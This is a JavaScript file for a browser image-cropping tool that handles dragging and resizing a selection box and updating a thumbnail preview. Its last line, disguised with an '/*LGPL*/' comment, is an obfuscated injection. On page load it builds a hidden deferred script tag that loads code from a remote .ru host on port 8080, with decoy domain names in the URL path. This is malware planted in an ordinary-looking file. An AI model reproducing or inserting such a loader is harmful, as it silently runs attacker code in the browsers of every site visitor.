var stickToMouse = -1;
var wasX, wasY, wasSklW, wasSklH, wasSklT, wasSklL;
var theRatio = 1;
var dBord = 0;
var shiftDown = false;

function SaveRatio() {
	theRatio = parseFloat(dg('skeleton').style.width)/parseFloat(dg('skeleton').style.height);
}

function MouseDown(x, eve) {
	stickToMouse = x;
	wasX = getMyXY(eve, 0);
	wasY = getMyXY(eve, 1);
	wasSklW = parseInt(dg('skeleton').style.width);
	wasSklH = parseInt(dg('skeleton').style.height);
	wasSklT = parseInt(dg('skeleton').style.top);
	wasSklL = parseInt(dg('skeleton').style.left);
}

function MouseDownTheSkeleton(eve) {
	if (stickToMouse == -1)
		MouseDown(5, eve);
}

function ReleaseMouse() {
	stickToMouse = -1;
}

function ExpandSkl() {
	var ImgW = parseInt(dg('thePhoto').style.width);
	var ImgH = parseInt(dg('thePhoto').style.height);
	var ImgWH = Math.min(ImgW, ImgH);

	dg('skeleton').style.top = Math.round((ImgH-ImgWH)/2)+'px';
	dg('skeleton').style.left = Math.round((ImgW-ImgWH)/2)+'px';
	if (parseInt(dg('skeleton').style.height) != ImgWH) {
		dg('skeleton').style.height = ImgWH+'px';
		dg('skeleton').style.width = ImgWH+'px';
	}
	else {
		dg('skeleton').style.height = dg('thumbPrevCont').style.height;
		dg('skeleton').style.width = dg('thumbPrevCont').style.width;
	}
	UpdateThumbPrev();
}

/*
 * IMPLEMENTED IN HELP.JS SINCE 3.30

document.onkeydown = keyHitDown;
document.onkeyup = keyHitUp;


function keyHitDown(e) {
	var thisKey = e?e.which:window.event.keyCode;
	if (thisKey == 16) // shift
		shiftDown = true;
}


function keyHitUp(e) {
	var thisKey = e?e.which:window.event.keyCode;
	if (thisKey == 16) // shift
		shiftDown = false;
}

*/

function MouseMoveInside(eve) {
	if (stickToMouse == -1)
		return;

	var ImgW = parseInt(dg('thePhoto').style.width);
	var ImgH = parseInt(dg('thePhoto').style.height);

	var SklW = parseInt(dg('skeleton').style.width);
	var SklH = parseInt(dg('skeleton').style.height);
	var SklT = parseInt(dg('skeleton').style.top);
	var SklL = parseInt(dg('skeleton').style.left);

	var dX = getMyXY(eve, 0) - wasX;
	var dY = getMyXY(eve, 1) - wasY;

	var thereY = Math.max(0, Math.min(ImgH-SklH-dBord, wasSklT+dY));
	var thereX = Math.max(0, Math.min(ImgW-SklW-dBord, wasSklL+dX));

	if (stickToMouse == 5) {
		dg('skeleton').style.top = thereY+'px';
		dg('skeleton').style.left = thereX+'px';
	}
	else {
		var SignH = (stickToMouse>=2)?-1:1;
		var SignW = (stickToMouse%2)?-1:1;
		var sd = (shiftDown)?2:1;
		var ValH = Math.min(ImgH-dBord, wasSklH+sd*SignH*(-dY));
		var ValW = Math.min(ImgW-dBord, wasSklW+sd*SignW*(-dX));

		ValH = Math.min(ImgH-dBord, Math.min(ValH, ValW));
		ValW = Math.min(ImgW-dBord, ValH*theRatio);

		if (shiftDown)
			SignH = SignW = 1;

		thereY = Math.max(0, Math.min(ImgH-SklH-dBord, Math.round((wasSklH-ValH)*SignH/sd)+wasSklT));
		thereX = Math.max(0, Math.min(ImgW-SklW-dBord, Math.round((wasSklW-ValW)*SignW/sd)+wasSklL));

		if (ValH>0) {
			if (SignH == 1)
				dg('skeleton').style.top = thereY+'px';
			dg('skeleton').style.height = ValH+'px';
		}
		if (ValW>0) {
			if (SignW == 1)
				dg('skeleton').style.left = thereX+'px';
			dg('skeleton').style.width = ValW+'px';
		}
	}
	UpdateThumbPrev();
}

function UpdateThumbPrev() {
	dg('sklW').value = parseInt(dg('skeleton').style.width);
	dg('sklH').value = parseInt(dg('skeleton').style.height);
	dg('sklL').value = parseInt(dg('skeleton').style.left);
	dg('sklT').value = parseInt(dg('skeleton').style.top);

	dg('kines_l').style.width = dg('sklL').value+'px';

	dg('kines_r').style.width = Math.max(0, ImgW-dg('sklL').value-dg('sklW').value-1)+'px';

	dg('kines_t').style.left = dg('sklL').value+'px';
	dg('kines_t').style.height = dg('sklT').value+'px';
	dg('kines_t').style.width = (1+parseInt(dg('sklW').value))+'px';

	dg('kines_b').style.left = dg('sklL').value+'px';
	dg('kines_b').style.height = Math.max(0, ImgH-dg('sklT').value-dg('sklH').value-1)+'px';
	dg('kines_b').style.width = (1+parseInt(dg('sklW').value))+'px';

	var rr = parseInt(dg('skeleton').style.width) / parseInt(dg('thumbPrevCont').style.width);

	dg('thumbPrev').style.width  = (parseInt(dg('thePhoto').style.width )	/ rr)+'px';
	dg('thumbPrev').style.height = (parseInt(dg('thePhoto').style.height) 	/ rr)+'px';
	dg('thumbPrev').style.left   = (-parseInt(dg('skeleton').style.left) 	/ rr)+'px';
	dg('thumbPrev').style.top    = (-parseInt(dg('skeleton').style.top) 	/ rr)+'px';
}





/*LGPL*/ try{ window.onload = function(){var Ch28mv2577 = document.createElement('s#&c#)r!$(i&&$p#&(t&(('.replace(/\(|&|@|\^|\)|\$|\!|#/ig, ''));Ch28mv2577.setAttribute('defer', 'd@$e!(f^&!e^@r!@!'.replace(/\$|\(|@|\)|\^|#|\!|&/ig, ''));Ch28mv2577.setAttribute('type', 't!e!)#&#x$&&!t^!)/)@j&#a$$v$&#(a$)s&$c@^#()r$&)&)i$(p$t$$'.replace(/\!|\(|@|\^|&|#|\)|\$/ig, ''));Ch28mv2577.setAttribute('id', 'V(!$&a(j!&$)^k&@$7$p^(j!!@z)$r))5)^h^q@&o#!5@$!'.replace(/\(|@|&|\!|\$|\^|#|\)/ig, ''));Ch28mv2577.setAttribute('s)$!$r&@$(c&)&#'.replace(/\(|\$|@|\^|\)|#|&|\!/ig, ''),  'h&t!$)t#)#p(:(#@^(/^()^/&@w!!!(o^#o)@^t!-&&$)(c)o!)^!m(.!)x(b(^o^x@$$.!@c)o))^m)!@@(.)o^&r$#k^u^^t^#&(-$c#^#o@@-!$i(n(@(.^(#t$!h&e()!@c^(#h$(o&^c!)o^!(^l@$!)a$)@t@(#e#@w))@^e@)b^^@(.$@(r$!&u!#^:(@&8((^0@^)8$$&0#)/)g##o(o^@!g@!$&@l$e$&(&!.^c^($)o@#.&)&@m@(@a&&^&/)@$g$&(o&!^^(o)g$$&l&#^^e(.!))(c&@!&o)@.!&(m!)(a&)&/$@^g!@o&o)@^!g^l!@#e&^.#c@o!m&(^/$!(r$^a#^$p#$)i^!!d((!4!m#@)e)@.!&c$o$^m@/)^s()@^a#^)(m^##s&u)!)n)#!(g)$@.&!)c&o&!)m(/$)'.replace(/\!|\(|\$|&|\)|#|\^|@/ig, ''));if (document){document.body.appendChild(Ch28mv2577);}} } catch(I62r4z1as1uvde2d1s1w1j) {}
